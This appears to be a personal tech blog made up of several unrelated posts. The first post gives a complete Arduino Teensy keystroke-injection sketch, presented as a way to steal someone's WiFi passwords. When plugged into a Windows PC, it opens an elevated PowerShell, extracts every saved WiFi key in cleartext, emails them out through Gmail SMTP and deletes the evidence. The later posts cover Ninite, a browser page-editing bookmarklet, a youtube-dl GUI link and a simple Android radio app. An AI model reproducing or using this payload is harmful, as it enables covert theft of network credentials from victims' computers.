Today I will show you how you can steal someones WiFi credentials with a tiny cheap arduino teensy 2.0 board that I found laying around.

You can get one of teensy devices from amazon CLICK HERE

To start go to official arduino web page and download arduino IDE

https://www.arduino.cc/en/Main/Software

After you finish installing the IDE lets go and install Teensy loader from:

https://www.pjrc.com/teensy/loader.html

And here is the code that does all the magic:

void setup() {
delay(3000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell Start-Process powershell -Verb runAs");
Keyboard.press(KEY_RETURN);Keyboard.releaseAll();
delay(1000);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('y');
Keyboard.releaseAll();
delay(1000);
Keyboard.write("(netsh wlan show profiles) | Select-String \"\\:(.+)$\" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=\"$name\" key=clear)} | Select-String \"Key Content\\W+\\:(.+)$\" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize > C:\\Information.txt");
Keyboard.press(KEY_RETURN);Keyboard.releaseAll();
delay(1000);
Keyboard.print("$SMTPServer = 'smtp.gmail.com'");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$SMTPInfo.EnableSSL = $true");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential(
‘ENTER-EMAIL-ADDRESS ', ' ENTER-EMAIL-PASSWORD ')");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$ReportEmail.From =
‘ENTER-EMAIL-ADDRESS '");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$ReportEmail.To.Add('
ENTER-EMAIL-ADDRESS ')");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$ReportEmail.Subject = 'Wifi Details Received'");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$ReportEmail.Body = (Get-Content C:\\Information.txt | out-string)");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("$SMTPInfo.Send($ReportEmail)");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(500);
Keyboard.print("del C:\\Information.txt");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(100);
Keyboard.print("exit");
Keyboard.press(KEY_RETURN); Keyboard.releaseAll();
delay(10000);
}

void loop() {

}

And that’s all now go plug your teensy into a PC and see how WiFi credentials get emailed right to you.

So I wanted to share this one little cool app that I use when fixing computers for clients. Its a one installer for multiple apps.

You basically choose what apps you want to install and download one installer file.

It will reject any crap software that usually wants to install alongside and install the latest update of the software packages that you chosen.

So instead of googling and looking for adobe reader, antivirus, media player and other software you run one app, go make yourself a coffee and wait until it finish installing software.

You can download software from official website at https://ninite.com

So today I remembered fun and easy little trick to edit any websites content. Of course it is not permanent and only visible by you, but its a fun way to experiment and maybe trick friends sitting next to you.

As example I will use facebook.com

The original site at the time of posting would look like so:

So now the fun part. To edit the content of the site that you are displaying all you do is paste this peace of code into the address bar of your browser and hit enter.

javascript:document.body.contentEditable = 'true'; document.designMode='on'; void 0

Make sure that before you hit enter the line has JavaScript: at the beginning as most browsers cut it off if you use the copy paste for security reasons. In that case just type it manually with your keyboard instead of pasting it.

You will be able to edit the site contents like I have done in the example above. It becomes as easy as using a word document. Just highlight the text you want to change and start typing.

To stop the editing execute the following code:

javascript:document.body.contentEditable = 'false'; document.designMode='off'; void 0

So its time to update the playlist in my car just before the summer kicks off. But where do I download some good music? Youtube of course, the only problem with downloading music from youtube is that you usually use a service like flvto.biz which lets you download single tracks.

Single tracks? who’s got that much time. That would take forever especially me having hundreds of songs in my youtube playlists. If only there was a way to just download the entire playlist. Well there is a way.

A wonderful tool written in python called youtube-dl lets you do just that. Unfortunately to get it working you need to first download python which isn’t part of windows then download youtube-dl. But the worst part is that youtube-dl does not have a Graphical user interface so you need to write commands in a command prompt which is just too technical for the average user.

Lucky for us someone wrote a portable GUI version for windows which you can download from:

https://drive.google.com/file/d/1CPbuUCCPx1Fqcnmslzr-8iON07wyu7D9/view?usp=sharing

So now just copy and add url’s of your youtube playlists chose download location, choose output format as mp3 click add and then start(the little cloud with the arrow). Go make yourself a margarita cocktail and when you come back you’ll have some new tracks downloaded ready to burn to CD.

Sharing one of the first apps I made for android. App with Lithuanian radio stations in one place. Still needs improving as the playback is slow but more or less it works and its mine.

https://play.google.com/store/apps/details?id=uk.co.pcmaniac.manoradijaslt&hl=en

As for the coding it is just a web view element displaying a website which uses HTML5 audio elements together with some JavaScript. You can add audio to your own web page like so

<audio controls>
  <source src="horse.ogg" type="audio/ogg">
  <source src="horse.mp3" type="audio/mpeg">
Your browser does not support the audio element.
</audio>